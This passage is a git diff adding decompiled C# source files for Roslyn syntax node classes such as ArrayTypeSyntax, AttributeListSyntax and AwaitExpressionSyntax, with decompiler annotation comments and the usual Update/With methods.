RankSpecifiers => new SyntaxList(((SyntaxNode)this).GetRed(ref rankSpecifiers, 1)); + + internal ArrayTypeSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref elementType), + 1 => ((SyntaxNode)this).GetRed(ref rankSpecifiers, 1), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => elementType, + 1 => rankSpecifiers, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitArrayType(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitArrayType(this); + } + + public ArrayTypeSyntax Update(TypeSyntax elementType, SyntaxList rankSpecifiers) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (elementType != ElementType || rankSpecifiers != RankSpecifiers) + { + ArrayTypeSyntax arrayTypeSyntax = SyntaxFactory.ArrayType(elementType, rankSpecifiers); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return arrayTypeSyntax; + } + return arrayTypeSyntax.WithAnnotations(annotations); + } + return this; + } + + public ArrayTypeSyntax WithElementType(TypeSyntax elementType) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(elementType, RankSpecifiers); + } + + public ArrayTypeSyntax WithRankSpecifiers(SyntaxList rankSpecifiers) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(ElementType, rankSpecifiers); + } + + public ArrayTypeSyntax AddRankSpecifiers(params ArrayRankSpecifierSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithRankSpecifiers(RankSpecifiers.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ArrowExpressionClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ArrowExpressionClauseSyntax.cs new file mode 100644 index 0000000..096e2a3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ArrowExpressionClauseSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ArrowExpressionClauseSyntax : CSharpSyntaxNode +{ + private ExpressionSyntax? expression; + + public SyntaxToken ArrowToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArrowExpressionClauseSyntax)(object)((SyntaxNode)this).Green).arrowToken, ((SyntaxNode)this).Position, 0); + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 1); + + internal ArrowExpressionClauseSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref expression, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)expression; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitArrowExpressionClause(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitArrowExpressionClause(this); + } + + public ArrowExpressionClauseSyntax Update(SyntaxToken arrowToken, ExpressionSyntax expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (arrowToken != ArrowToken || expression != Expression) + { + ArrowExpressionClauseSyntax arrowExpressionClauseSyntax = SyntaxFactory.ArrowExpressionClause(arrowToken, expression); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return arrowExpressionClauseSyntax; + } + return arrowExpressionClauseSyntax.WithAnnotations(annotations); + } + return this; + } + + public ArrowExpressionClauseSyntax WithArrowToken(SyntaxToken arrowToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(arrowToken, Expression); + } + + public ArrowExpressionClauseSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(ArrowToken, expression); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AssignmentExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AssignmentExpressionSyntax.cs new file mode 100644 index 0000000..3677c5b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AssignmentExpressionSyntax.cs @@ -0,0 +1,87 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class AssignmentExpressionSyntax : ExpressionSyntax +{ + private ExpressionSyntax? left; + + private ExpressionSyntax? right; + + public ExpressionSyntax Left => ((SyntaxNode)this).GetRedAtZero(ref left); + + public SyntaxToken OperatorToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AssignmentExpressionSyntax)(object)((SyntaxNode)this).Green).operatorToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public ExpressionSyntax Right => ((SyntaxNode)this).GetRed(ref right, 2); + + internal AssignmentExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref left), + 2 => ((SyntaxNode)this).GetRed(ref right, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => left, + 2 => right, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAssignmentExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAssignmentExpression(this); + } + + public AssignmentExpressionSyntax Update(ExpressionSyntax left, SyntaxToken operatorToken, ExpressionSyntax right) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (left != Left || operatorToken != OperatorToken || right != Right) + { + AssignmentExpressionSyntax assignmentExpressionSyntax = SyntaxFactory.AssignmentExpression(Kind(), left, operatorToken, right); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return assignmentExpressionSyntax; + } + return assignmentExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public AssignmentExpressionSyntax WithLeft(ExpressionSyntax left) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(left, OperatorToken, Right); + } + + public AssignmentExpressionSyntax WithOperatorToken(SyntaxToken operatorToken) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Left, operatorToken, Right); + } + + public AssignmentExpressionSyntax WithRight(ExpressionSyntax right) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(Left, OperatorToken, right); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AttributeArgumentListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AttributeArgumentListSyntax.cs new file mode 100644 index 0000000..bfbc4d2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AttributeArgumentListSyntax.cs @@ -0,0 +1,118 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class AttributeArgumentListSyntax : CSharpSyntaxNode +{ + private SyntaxNode? arguments; + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AttributeArgumentListSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).Position, 0); + + public SeparatedSyntaxList Arguments + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref arguments, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AttributeArgumentListSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal AttributeArgumentListSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref arguments, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return arguments; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAttributeArgumentList(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAttributeArgumentList(this); + } + + public AttributeArgumentListSyntax Update(SyntaxToken openParenToken, SeparatedSyntaxList arguments, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken != OpenParenToken || arguments != Arguments || closeParenToken != CloseParenToken) + { + AttributeArgumentListSyntax attributeArgumentListSyntax = SyntaxFactory.AttributeArgumentList(openParenToken, arguments, closeParenToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return attributeArgumentListSyntax; + } + return attributeArgumentListSyntax.WithAnnotations(annotations); + } + return this; + } + + public AttributeArgumentListSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(openParenToken, Arguments, CloseParenToken); + } + + public AttributeArgumentListSyntax WithArguments(SeparatedSyntaxList arguments) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, arguments, CloseParenToken); + } + + public AttributeArgumentListSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, Arguments, closeParenToken); + } + + public AttributeArgumentListSyntax AddArguments(params AttributeArgumentSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithArguments(Arguments.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AttributeArgumentSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AttributeArgumentSyntax.cs new file mode 100644 index 0000000..36722bb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AttributeArgumentSyntax.cs @@ -0,0 +1,85 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class AttributeArgumentSyntax : CSharpSyntaxNode +{ + private NameEqualsSyntax? nameEquals; + + private NameColonSyntax? nameColon; + + private ExpressionSyntax? expression; + + public NameEqualsSyntax? NameEquals => ((SyntaxNode)this).GetRedAtZero(ref nameEquals); + + public NameColonSyntax? NameColon => ((SyntaxNode)this).GetRed(ref nameColon, 1); + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 2); + + internal AttributeArgumentSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref nameEquals), + 1 => ((SyntaxNode)this).GetRed(ref nameColon, 1), + 2 => ((SyntaxNode)this).GetRed(ref expression, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => nameEquals, + 1 => nameColon, + 2 => expression, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAttributeArgument(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAttributeArgument(this); + } + + public AttributeArgumentSyntax Update(NameEqualsSyntax? nameEquals, NameColonSyntax? nameColon, ExpressionSyntax expression) + { + if (nameEquals != NameEquals || nameColon != NameColon || expression != Expression) + { + AttributeArgumentSyntax attributeArgumentSyntax = SyntaxFactory.AttributeArgument(nameEquals, nameColon, expression); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return attributeArgumentSyntax; + } + return attributeArgumentSyntax.WithAnnotations(annotations); + } + return this; + } + + public AttributeArgumentSyntax WithNameEquals(NameEqualsSyntax? nameEquals) + { + return Update(nameEquals, NameColon, Expression); + } + + public AttributeArgumentSyntax WithNameColon(NameColonSyntax? nameColon) + { + return Update(NameEquals, nameColon, Expression); + } + + public AttributeArgumentSyntax WithExpression(ExpressionSyntax expression) + { + return Update(NameEquals, NameColon, expression); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AttributeListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AttributeListSyntax.cs new file mode 100644 index 0000000..cee273a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AttributeListSyntax.cs @@ -0,0 +1,132 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class AttributeListSyntax : CSharpSyntaxNode +{ + private AttributeTargetSpecifierSyntax? target; + + private SyntaxNode? attributes; + + public SyntaxToken OpenBracketToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AttributeListSyntax)(object)((SyntaxNode)this).Green).openBracketToken, ((SyntaxNode)this).Position, 0); + + public AttributeTargetSpecifierSyntax? Target => ((SyntaxNode)this).GetRed(ref target, 1); + + public SeparatedSyntaxList Attributes + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref attributes, 2); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(2)); + } + } + + public SyntaxToken CloseBracketToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AttributeListSyntax)(object)((SyntaxNode)this).Green).closeBracketToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + internal AttributeListSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => ((SyntaxNode)this).GetRed(ref target, 1), + 2 => ((SyntaxNode)this).GetRed(ref attributes, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => target, + 2 => attributes, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAttributeList(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAttributeList(this); + } + + public AttributeListSyntax Update(SyntaxToken openBracketToken, AttributeTargetSpecifierSyntax? target, SeparatedSyntaxList attributes, SyntaxToken closeBracketToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken != OpenBracketToken || target != Target || attributes != Attributes || closeBracketToken != CloseBracketToken) + { + AttributeListSyntax attributeListSyntax = SyntaxFactory.AttributeList(openBracketToken, target, attributes, closeBracketToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return attributeListSyntax; + } + return attributeListSyntax.WithAnnotations(annotations); + } + return this; + } + + public AttributeListSyntax WithOpenBracketToken(SyntaxToken openBracketToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(openBracketToken, Target, Attributes, CloseBracketToken); + } + + public AttributeListSyntax WithTarget(AttributeTargetSpecifierSyntax? target) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBracketToken, target, Attributes, CloseBracketToken); + } + + public AttributeListSyntax WithAttributes(SeparatedSyntaxList attributes) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBracketToken, Target, attributes, CloseBracketToken); + } + + public AttributeListSyntax WithCloseBracketToken(SyntaxToken closeBracketToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBracketToken, Target, Attributes, closeBracketToken); + } + + public AttributeListSyntax AddAttributes(params AttributeSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributes(Attributes.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AttributeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AttributeSyntax.cs new file mode 100644 index 0000000..9c31c3a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AttributeSyntax.cs @@ -0,0 +1,118 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class AttributeSyntax : CSharpSyntaxNode +{ + private NameSyntax? name; + + private AttributeArgumentListSyntax? argumentList; + + public NameSyntax Name => ((SyntaxNode)this).GetRedAtZero(ref name); + + public AttributeArgumentListSyntax? ArgumentList => ((SyntaxNode)this).GetRed(ref argumentList, 1); + + internal string GetErrorDisplayName() + { + return Name.ErrorDisplayName(); + } + + internal AttributeArgumentSyntax? GetNamedArgumentSyntax(string namedArgName) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + if (argumentList != null) + { + Enumerator enumerator = argumentList.Arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + AttributeArgumentSyntax current = enumerator.Current; + if (current.NameEquals != null) + { + SyntaxToken identifier = current.NameEquals.Name.Identifier; + if (((SyntaxToken)(ref identifier)).ValueText == namedArgName) + { + return current; + } + } + } + } + return null; + } + + internal AttributeSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref name), + 1 => ((SyntaxNode)this).GetRed(ref argumentList, 1), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => name, + 1 => argumentList, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAttribute(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAttribute(this); + } + + public AttributeSyntax Update(NameSyntax name, AttributeArgumentListSyntax? argumentList) + { + if (name != Name || argumentList != ArgumentList) + { + AttributeSyntax attributeSyntax = SyntaxFactory.Attribute(name, argumentList); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return attributeSyntax; + } + return attributeSyntax.WithAnnotations(annotations); + } + return this; + } + + public AttributeSyntax WithName(NameSyntax name) + { + return Update(name, ArgumentList); + } + + public AttributeSyntax WithArgumentList(AttributeArgumentListSyntax? argumentList) + { + return Update(Name, argumentList); + } + + public AttributeSyntax AddArgumentListArguments(params AttributeArgumentSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + AttributeArgumentListSyntax attributeArgumentListSyntax = ArgumentList ?? SyntaxFactory.AttributeArgumentList(); + return WithArgumentList(attributeArgumentListSyntax.WithArguments(attributeArgumentListSyntax.Arguments.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AttributeTargetSpecifierSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AttributeTargetSpecifierSyntax.cs new file mode 100644 index 0000000..ed4139f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AttributeTargetSpecifierSyntax.cs @@ -0,0 +1,77 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class AttributeTargetSpecifierSyntax : CSharpSyntaxNode +{ + public SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AttributeTargetSpecifierSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).Position, 0); + + public SyntaxToken ColonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AttributeTargetSpecifierSyntax)(object)((SyntaxNode)this).Green).colonToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + internal AttributeLocation GetAttributeLocation() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Identifier.ToAttributeLocation(); + } + + internal AttributeTargetSpecifierSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAttributeTargetSpecifier(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAttributeTargetSpecifier(this); + } + + public AttributeTargetSpecifierSyntax Update(SyntaxToken identifier, SyntaxToken colonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (identifier != Identifier || colonToken != ColonToken) + { + AttributeTargetSpecifierSyntax attributeTargetSpecifierSyntax = SyntaxFactory.AttributeTargetSpecifier(identifier, colonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return attributeTargetSpecifierSyntax; + } + return attributeTargetSpecifierSyntax.WithAnnotations(annotations); + } + return this; + } + + public AttributeTargetSpecifierSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(identifier, ColonToken); + } + + public AttributeTargetSpecifierSyntax WithColonToken(SyntaxToken colonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Identifier, colonToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AwaitExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AwaitExpressionSyntax.cs new file mode 100644 index 0000000..926a7f5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AwaitExpressionSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class AwaitExpressionSyntax : ExpressionSyntax +{ + private ExpressionSyntax? expression; + + public SyntaxToken AwaitKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AwaitExpressionSyntax)(object)((SyntaxNode)this).Green).awaitKeyword, ((SyntaxNode)this).Position, 0); + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 1); + + internal AwaitExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref expression, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return 